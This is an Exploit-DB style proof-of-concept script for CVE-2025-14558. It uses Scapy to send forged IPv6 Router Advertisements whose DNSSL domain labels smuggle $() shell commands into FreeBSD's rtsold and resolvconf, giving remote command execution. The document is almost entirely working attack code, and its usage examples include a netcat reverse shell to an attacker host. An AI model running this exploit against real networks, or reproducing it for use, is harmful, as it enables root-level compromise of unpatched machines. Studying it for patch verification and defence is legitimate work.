FreeBSD rtsold 15.x - Remote Code Execution via DNSSL

# Exploit Title: FreeBSD rtsold 15.x - Remote Code Execution via DNSSL
# Date: 2025-12-16
# Exploit Author: Lukas Johannes Möller
# Vendor Homepage: https://www.freebsd.org/
# Version: FreeBSD 13.x, 14.x, 15.x (before 2025-12-16 patches)
# Tested on: FreeBSD 14.1-RELEASE
# CVE: CVE-2025-14558
#
# Description:
#   rtsold(8) processes IPv6 Router Advertisement DNSSL options without
#   validating domain names for shell metacharacters. The decoded domains
#   are passed to resolvconf(8), a shell script that uses unquoted variable
#   expansion, enabling command injection via $() substitution.
#
# Requirements:
#   - Layer 2 adjacency to target
#   - Target running rtsold with ACCEPT_RTADV enabled
#   - Root privileges (raw socket for sending RA)
#   - Python 3 + Scapy
#
# References:
#   https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc
#   https://github.com/JohannesLks/CVE-2025-14558

import argparse
import struct
import sys
import time

try:
    from scapy.all import (
        Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,
        ICMPv6NDOptSrcLLAddr, Raw, get_if_hwaddr, sendp
    )
except ImportError:
    sys.exit("[!] Scapy required: pip install scapy")


def encode_domain(name):
    """Encode domain in DNS wire format (RFC 1035)."""
    result = b""
    for label in name.split("."):
        if label:
            data = label.encode()
            result += bytes([len(data)]) + data
    return result + b"\x00"


def encode_payload(cmd):
    """Encode payload as DNS label with $() wrapper for command substitution."""
    payload = f"$({cmd})".encode()
    if len(payload) > 63:
        # Split long payloads across labels (dots inserted on decode)
        result = b""
        while payload:
            chunk = payload[:63]
            payload = payload[63:]
            result += bytes([len(chunk)]) + chunk
        return result + b"\x00"
    return bytes([len(payload)]) + payload + b"\x00"


def build_dnssl(cmd, lifetime=0xFFFFFFFF):
    """Build DNSSL option (RFC 6106) with injected command."""
    data = encode_domain("x.local") + encode_payload(cmd)
    
    # Pad to 8-byte boundary
    pad = (8 - (len(data) + 8) % 8) % 8
    data += b"\x00" * pad
    
    # Type=31 (DNSSL), Length in 8-octet units
    length = (8 + len(data)) // 8
    return struct.pack(">BBH", 31, length, 0) + struct.pack(">I", lifetime) + data


def build_ra(mac, payload):
    """Build Router Advertisement with malicious DNSSL."""
    return (
        Ether(src=mac, dst="33:33:00:00:00:01")
        / IPv6(src="fe80::1", dst="ff02::1", hlim=255)
        / ICMPv6ND_RA(chlim=64, M=0, O=1, routerlifetime=1800)
        / ICMPv6NDOptSrcLLAddr(lladdr=mac)
        / ICMPv6NDOptPrefixInfo(
            prefixlen=64, L=1, A=1,
            validlifetime=2592000, preferredlifetime=604800,
            prefix="2001:db8::"
        )
        / Raw(load=build_dnssl(payload))
    )


def main():
    p = argparse.ArgumentParser(
        description="CVE-2025-14558 - FreeBSD rtsold DNSSL Command Injection",
        epilog="Examples:\n"
               "  %(prog)s -i eth0\n"
               "  %(prog)s -i eth0 -p 'id>/tmp/pwned'\n"
               "  %(prog)s -i eth0 -p 'nc LHOST 4444 -e /bin/sh'",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    p.add_argument("-i", "--interface", required=True, help="Network interface")
    p.add_argument("-p", "--payload", default="touch /tmp/pwned", help="Command to execute")
    p.add_argument("-c", "--count", type=int, default=3, help="Packets to send (default: 3)")
    args = p.parse_args()

    try:
        mac = get_if_hwaddr(args.interface)
    except Exception as e:
        sys.exit(f"[!] Interface error: {e}")

    print(f"[*] Interface: {args.interface} ({mac})")
    print(f"[*] Payload: {args.payload}")

    pkt = build_ra(mac, args.payload)
    
    for i in range(args.count):
        sendp(pkt, iface=args.interface, verbose=False)
        print(f"[+] Sent RA {i+1}/{args.count}")
        if i < args.count - 1:
            time.sleep(1)

    print("[+] Done")


if __name__ == "__main__":
    main()